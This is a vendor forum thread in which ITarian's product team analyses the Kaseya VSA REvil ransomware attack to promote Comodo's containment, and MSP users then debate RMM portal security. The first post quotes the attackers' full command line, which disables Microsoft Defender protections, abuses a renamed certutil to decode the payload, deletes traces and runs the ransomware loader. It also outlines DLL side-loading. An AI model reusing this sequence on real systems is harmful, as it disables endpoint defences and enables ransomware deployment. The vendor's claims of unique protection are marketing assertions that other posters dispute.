How Safe is ITarian Platform?

General Announcements
1

Hello everyone,

We would like to inform you about the recent cyber attack done on Kaseya VSA.

ITarian uses seamless Comodo Cybersecurity Active Breach Protection, which is the unique answer even for Supply-Chain kind of attacks like Sunburst (Solarwinds) and Revil Ransomware (Kaseya VSA Attack).

Kaseya attack started with exploiting Kaseya VSA server web interface that is being deployed as on-prem and used by MSPs. With that exploit, attackers can access controls and gain an authenticated session.

1- Attackers pushed an update where it writes agent.crt to c:\kworking folder that is part of Kaseya VSA Agent Hot-fix. This is the first part running on the endpoints. And since Kaseya advises this working folder to be whitelisted (https://helpdesk.kaseya.com/hc/en-gb…Best-Practices) this is where most of the security vendors fail, their clients whitelisted this folder (and other Kaseya folders ) so that none of them blocked or get any alert.
At this point, when the same whitelisting rules are applied on AV and HIPS sections, Comodo Client Security also doesn’t block anything.

2- Attackers sends a PowerShell script to disable various Microsoft Defender for Endpoint protection features, below is the script.
“C:\WINDOWS\system32\cmd.exe” /c ping 127.0.0.1 -n 6258 > nul & C:\Windows\System32\WindowsPowerShell\v1.0\powersh ell.exe Set-MpPreference -DisableRealtimeMonitoring $true -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend & copy /Y C:\Windows\System32\certutil.exe C:\Windows\cert.exe & echo %RANDOM% >> C:\Windows\cert.exe & C:\Windows\cert.exe -decode c:\kworking\agent.crt c:\kworking\agent.exe & del /q /f c:\kworking\agent.crt C:\Windows\cert.exe & c:\kworking\agent.exe
what it does: it uses certutil.exe (legitimate too) to decode the agent.crt into agent.exe.

3- The last statement of the above script is to run agent.exe. It first drops msmpeng.exe and mpsvc.dll. msmpeng.exe was signed by Microsoft itself however mpscv.dll is the main payload to do the encryption. It loads Msmpeng.exe which is an older version of Microsoft defender executable that is used to run mpscv.dll which is called DLL side-loading technique.
This is the point where Comodo Active Breach Protection comes into play. Since Comodo Client Security does not trust agent.exe (even if it is signed) it runs agent.exe in containment so that legitimate Msmpeng.exe runs in containment as well. It loads and executes mpsvc.dll however it can only write to the virtual environment (VTRoot) folder.

As you can see, ANY attack (it doesn’t matter how sophisticated it is) will execute some unknown/untrusted code/exe in its’ execution steps. This is what we call active breach where all other defenses are down (whitelisted, run as admin privileges, even run through Trusted RMM tools)
Therefore, there is NO other method that exists to provide protection for Active Breach other than Comodo, thanks to Comodo’s “Guilty till proven” strategy.

Please check the detailed blog post from https://techtalk.comodo.com/2021/07/08/kaseya-vsa-breach-consequences-of-security-failures/

Best regards,
Product Management Team

2

Great information, thank you!

3

Looking good! I can see you guys have some top-notch protection measures to offer.

4

Very interesting. Thank you for that explanation. I have used Comodo for years and I am still pleased with the protection it offfers. Keep up the good work!

5

Not trying to be a ‘Debbie Downer’ but aren’t you still leaving out the main thing here? This was a supply chain attack, not an endpoint hack. In a supply chain attack like the one with Kaseya - the attackers had full access to a remote management tool on every endpoint running as system. That means it doesn’t matter what fancy software you have on the endpoint, if you know what you are doing in the compromised RMM platform and you have SYSTEM privileges, you can disable all endpoint protection apps or uninstall them before you drop your payload. If you are managing Comodo Security with Itarian, it could simply be disabled by pushing an updated machine profile to the endpoint or uninstalled by sending a command to the endpoint.

The only real way to prevent supply chain attacks to your customers is to make sure that your (the Vendor’s) own code is secure and that the Vendor is taking necessary security precautions within their own servers like Endpoint Security such as antivirus, antimalware, host-based intrusion, Network security such as Firewalls, intrusion prevention, web application firewalls, and managing and monitoring all these events to ensure the platform is secure - it has very little to do with what is on the client’s endpoint.

Kaseya ignored this for years. Their VSA was riddled with extremely old code and modules that they did not update or remove until after they were compromised.

6

First of all, Itarian takes security at every level very serious.

Now lets talk about “supply chain attacks” and how Comodo can protect against it.
Kaseya VSA Breach – Consequences of Security Failures – Comodo Tech Talk (First you can read this blog where it explains how Comodo protected the network under a supply chain attack).

Let me try to explain in a different way:

In a Cyber killchain the ultimate objective is to “drop a payload” “Step 5” so that attacker can do malicious things. All the rest of previous steps are all about “Getting in” eg: Delivery mechanism.
Supply chain attacks are a really good way of “delivering” the payload.

Comodo protection works very differently than literally every other security product (Comodo has patents in this field), in that it looks for “ANY” brand new unknown executable file and it lets it run in a “virtualized” environment while the user is executing it.

So even if the attacker has used a supply chain, meaning it is using Trusted executable files to deliver the “Payload”, please remember “Payload” at the end of the day is an “Unknown executable” to Comodo therefore will be contained and run in Virtualization.

Because Comodo’s security posture is " Every file is guilty until proven innocent" it automatically puts any new executable file into “Virtualization” (this allows the user to still run it but everything that file does can’t affect the system).

Hope this explanation offers more clarification.

You can also see Comodo’s stats on infection ratio here: Comodo Transparency Page - Historical Statistics They are the only company in the world to make their own infection ratio public.

MITRE-Cyber-kill-chain-Comodo-Cybersecurity-Blog-Post-1.jpg
MITRE-Cyber-kill-chain-Comodo-Cybersecurity-Blog-Post-1.jpg898×900 140 KB

7

Next question I would expect you to ask:
If the attacker has taken over the remote admin machine, can he not simply disable/uninstall Comodo on the endpoint.

The answer is: He will need the password to do that. Without the password Comodo doesn’t uninstall or deactivate any of its security features without a password and that endpoint continues to get protected.

Comodo password.png

8

Thanks for sharing more info.
Im not saying Comodo security software isnt secure.
Im not saying the Itarian platform is not secure.

My issue is with the suggestion of the original post which is seems to imply that having security software on my endpoints means the RMM vendor platform is secure. In my opinion they are not the same thing.

Just like the attacker gained admin access to Kaseya VSA instances in the Kaseya attack, if the same thing happened to Itarian and a hacker gained access to your Itarian instance, they could simply shutdown and uninstall all Comodo security mechanisms on the endpoint by pushing a machine profile update, and by sending uninstall commands from the portal, could they not?

I mean, I can do it myself from my RMM portal, so if an attacker had the similar access - what would stop them from doing the same thing?

9

No!

there is a “password” you must provide.

If the hacker doesn’t have the password he can’t change what’s on the endpoint.

Also there is MFA (Multi Factor Authentication) in Itarian where the admin must use Multi Factor to authenticate him/herself. Itarian is a cloud app, not like Kaseya VSA that runs local.

10

VSA itself is not a local install. Kaseya Agents are the local endpoint install - much like Endpoint Manager is the local install for Itarian RMM. VSA is the Server that the agents all connect back to. Endpoints were not compromised directly in this attack, VSA servers were. VSA servers can either be self-hosted or purchased as a cloud service. Even though self-hosted servers were targeted in this incident - Kaseya’s entire cloud VSA infrastructure was offline for almost 2 weeks while they added additional layers of security, did forensic analysis, and worked on patches for both self-hosted and cloud versions of their product.

With Kaseya VSA they leveraged a vulnerability that allowed for authentication bypass to the Server - meaning no passwords and no MFA needed - giving them direct access to VSA server. It doesnt matter where RMM servers are - local vs cloud - if they have flawed code that can be exploited over a public connection then they are vulnerable to such attacks.

Surely if Itarian, or any other RMM Vendor, whether its cloud or self-hosted, ever had a similar flaw in their code on a publicly accessible system, it may be possible for an attacker to exploit that flaw, gain access, and use the capability of the RMM platform to reduce the security posture of the endpoints that are connected to it. Security breaches happen all the time with big name companies.

That’s what I’m getting at. When it comes to compromising an RMM server, it doesn’t matter what you have on your endpoints for a security product because once you have the keys to the castle you can disable/remove all endpoint security. Even more so if the endpoint security product is managed by the RMM server. Just because Itarian is cloud hosted doesn’t mean it’s free from all possible flaws.

I guess we’ll just have to agree to disagree.

11

Hi,
I agree with @minntech.
This was also my previous question in another topic.

Are there another account/user, next to our own admin accounts, like a ‘system user’ or portal admin, or how you want to name it, that can send and start scripts to our devices or change profiles?
With changing profiles they can disable all the protection.

This user could potentially be misused like what happened with VSA.

12

That was my point exactly, attack was on the “Self Hosted Servers”.

Self Hosted Servers vs Cloud Portals:
Security postures are very different and attack vectors are very different.
Any Cloud portal, from MS teams to Gmail to twitter, must be protected if any one of these portals are compromised then depending on what the attack is how they have built their security infrastructure etc, it could cause big issues.

Now, lets focus on the specific case of a “Portal” being Compromised and “pushing an executable” to an endpoint.
In Comodo’s model compromise of the “Portal” is not enough to be able to “Push” an executable. You also have to provide the “Password” to make modifications. Endpoint needs two things…access to the account as an admin and a separate password to disable. So the hacker has to be able to get that separate password as well in order to disable protection.

13

Hi all

I understand all the questions and “what if our portal was somehow accessed” , then as simply as clicking disable containment or uninstall CSS on a profile will “push” those changes to the endpoints.
No password needed, systems then are ready for whatever payload is waiting or also pushed out either from our portal or any other means.

This is different to a user on a system either physically remotely or trying to disable or remove CSS

EG
I spent the best part of a day rebuilding/restoring a compromised server late last week that had a competitors security product installed - will not name or explain why CSS was not being used.

That system also had tamper protection enabled, cloud based management with all alerts turned on, BUT the security product was removed and I received NO alerts at all.

I did however have our RMM and did get an alert from ITarian system to say the server went offline, as well as the vm’s it was running also went off line.
A quick call to the client to check on either power outages or internet issues reveled they may have been hit.

Once onsite then easy to see competitors security removed, as well as the ITarian agents, VM’s destroyed, lockbit message…we all know the rest of what happens, client asking “how” “why” etc.

So being so fresh, It is a major concern about portal access or the ability to push profiles so easily should we get hit either direct or indirectly.

If I somehow get a compromised on my workstation while logged into the portal, and leave the webpage open - then it really is game over, and never say it will not happen.

As much as 2FA can be a nuisance at times, perhaps ITarian may consider implementing a method that at least lets us choose to require 2FA to disable any security features, or to push out any new scripts or profiles, a bit like the approval process for procedures but 2fa required.

It will slow down workflow a tiny bit but help secure our clients endpoints, just my thoughts.

mcfproservices